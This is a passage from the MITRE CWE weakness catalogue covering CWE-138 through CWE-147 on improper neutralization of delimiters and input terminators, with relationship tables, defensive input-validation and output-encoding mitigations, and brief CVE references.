ParentOf	V	164	Improper Neutralization of Internal Special Elements	387
ParentOf	B	464	Addition of Data Structure Sentinel	986
ParentOf	C	790	Improper Filtering of Special Elements	1476

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Other	Execute Unauthorized Code or Commands Alter Execution Logic DoS: Crash, Exit, or Restart	

Potential Mitigations

Phase: Implementation

Developers should anticipate that special elements (e.g. delimiters, symbols) will be injected into input vectors of their software system. One defense is to create an allowlist (e.g. a regular expression) that defines valid input according to the requirements specifications. Strictly filter any input that does not match against the allowlist. Properly encode your output, and quote any elements that have special meaning to the component with which you are communicating.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Use and specify an appropriate output encoding to ensure that the special elements are well-defined. A normal byte sequence in one encoding could be a special element in another.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Observed Examples

Reference	Description
CVE-2001-0677	Read arbitrary files from mail client by providing a special MIME header that is internally used to store pathnames for attachments. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0677*
CVE-2000-0703	Setuid program does not cleanse special escape sequence before sending data to a mail program, causing the mail program to process those sequences. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0703*
CVE-2003-0020	Multi-channel issue. Terminal escape sequences not filtered from log files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0020*
CVE-2003-0083	Multi-channel issue. Terminal escape sequences not filtered from log files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0083*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Notes

Relationship

This weakness can be related to interpretation conflicts or interaction errors in intermediaries (such as proxies or application firewalls) when the intermediary's model of an endpoint does not account for protocol-specific special elements.

Relationship

See this entry's children for different types of special elements that have been observed at one point or another. However, it can be difficult to find suitable CVE examples. In an attempt to be complete, CWE includes some types that do not have any associated observed example.

Research Gap

This weakness is probably under-studied for proprietary or custom formats. It is likely that these issues are fairly common in applications that use their own custom format for configuration files, logs, meta-data, messaging, etc. They would only be found by accident or with a focused effort based on an understanding of the format.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Special Elements (Characters or Reserved Words)
PLOVER			Custom Special Character Injection
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
15	Command Delimiters

CWE-140: Improper Neutralization of Delimiters

Weakness ID : 140 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not neutralize or incorrectly neutralizes delimiters.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	138	Improper Neutralization of Special Elements	342
ParentOf	V	141	Improper Neutralization of Parameter/Argument Delimiters	346
ParentOf	V	142	Improper Neutralization of Value Delimiters	348
ParentOf	V	143	Improper Neutralization of Record Delimiters	350
ParentOf	V	144	Improper Neutralization of Line Delimiters	351
ParentOf	V	145	Improper Neutralization of Section Delimiters	353
ParentOf	V	146	Improper Neutralization of Expression/Command Delimiters	355

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	1851

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Developers should anticipate that delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for

malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Delimiter Problems
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
15	Command Delimiters

CWE-141: Improper Neutralization of Parameter/Argument Delimiters

Weakness ID : 141 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as parameter or argument delimiters when they are sent to a downstream component.

Extended Description

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	140	Improper Neutralization of Delimiters	345

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Developers should anticipate that parameter/argument delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2003-0307	Attacker inserts field separator into input to specify admin privileges. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0307*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Parameter Delimiter
Software Fault Patterns	SFP24		Tainted input to command

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-142: Improper Neutralization of Value Delimiters

Weakness ID : 142 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as value delimiters when they are sent to a downstream component.

Extended Description

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	140	Improper Neutralization of Delimiters	345

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Developers should anticipate that value delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2000-0293	Multiple internal space, insufficient quoting - program does not use proper delimiter between values. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0293*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Value Delimiter

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-143: Improper Neutralization of Record Delimiters

Weakness ID : 143 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as record delimiters when they are sent to a downstream component.

Extended Description

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	140	Improper Neutralization of Delimiters	345

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Developers should anticipate that record delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if

the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2004-1982	Carriage returns in subject field allow adding new records to data file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1982*
CVE-2001-0527	Attacker inserts carriage returns and "|" field separator characters to add new user/privileges. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0527*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Record Delimiter
Software Fault Patterns	SFP24		Tainted input to command

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-144: Improper Neutralization of Line Delimiters

Weakness ID : 144 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as line delimiters when they are sent to a downstream component.

Extended Description

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	140	Improper Neutralization of Delimiters	345
CanAlsoBe	B	93	Improper Neutralization of CRLF Sequences ('CRLF Injection')	202

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Developers should anticipate that line delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space,

wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2002-0267	Linebreak in field of PHP script allows admin privileges when written to data file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0267*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	845	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)	844	1902
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953
MemberOf	C	1134	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)	1133	1983

Notes

Relationship

Depending on the language and syntax being used, this could be the same as the record delimiter (CWE-143).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Line Delimiter
The CERT Oracle Secure Coding Standard for Java (2011)	IDS03-J		Do not log unsanitized user input
Software Fault Patterns	SFP24		Tainted input to command

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-145: Improper Neutralization of Section Delimiters

Weakness ID : 145 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as section delimiters when they are sent to a downstream component.

Extended Description

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

One example of a section delimiter is the boundary string in a multipart MIME message. In many cases, doubled line delimiters can serve as a section delimiter.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	140	Improper Neutralization of Delimiters	345
CanAlsoBe	B	93	Improper Neutralization of CRLF Sequences ('CRLF Injection')	202

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Developers should anticipate that section delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape

any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Notes

Relationship

Depending on the language and syntax being used, this could be the same as the record delimiter (CWE-143).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Section Delimiter
Software Fault Patterns	SFP24		Tainted input to command

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-146: Improper Neutralization of Expression/Command Delimiters

Weakness ID : 146 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as expression or command delimiters when they are sent to a downstream component.

Extended Description

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	140	Improper Neutralization of Delimiters	345

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Other	Execute Unauthorized Code or Commands Alter Execution Logic	

Potential Mitigations

Developers should anticipate that inter-expression and inter-command delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Notes

Relationship

A shell metacharacter (covered in CWE-150) is one example of a potential delimiter that may need to be neutralized.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Delimiter between Expressions or Commands
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
6	Argument Injection
15	Command Delimiters

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-147: Improper Neutralization of Input Terminators

Weakness ID : 147 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as input terminators when they are sent to a downstream component.

Extended Description

For example, a "." in SMTP signifies the end of mail message data, whereas a null character can be used for the end of a string.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	138	Improper Neutralization of Special Elements	342
ParentOf	V	626	Null Byte Interaction Error (Poison Null Byte)	1239

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Developers should anticipate that terminators will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2000-0319	MFV. mail server does not properly identify terminator string to signify end of message, causing corruption, possibly in conjunction with off-by-one error. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0319*
CVE-2000-0320	MFV. mail server does not properly identify terminator string to signify end of message, causing corruption, possibly in conjunction with off-by-one error. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0320*
CVE-2001-0996	Mail server does not quote end-of-input terminator if it appears in the middle of a message. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0996*
CVE-2002-0001	Improperly terminated comment or phrase allows commands.

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0001

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Input Terminator
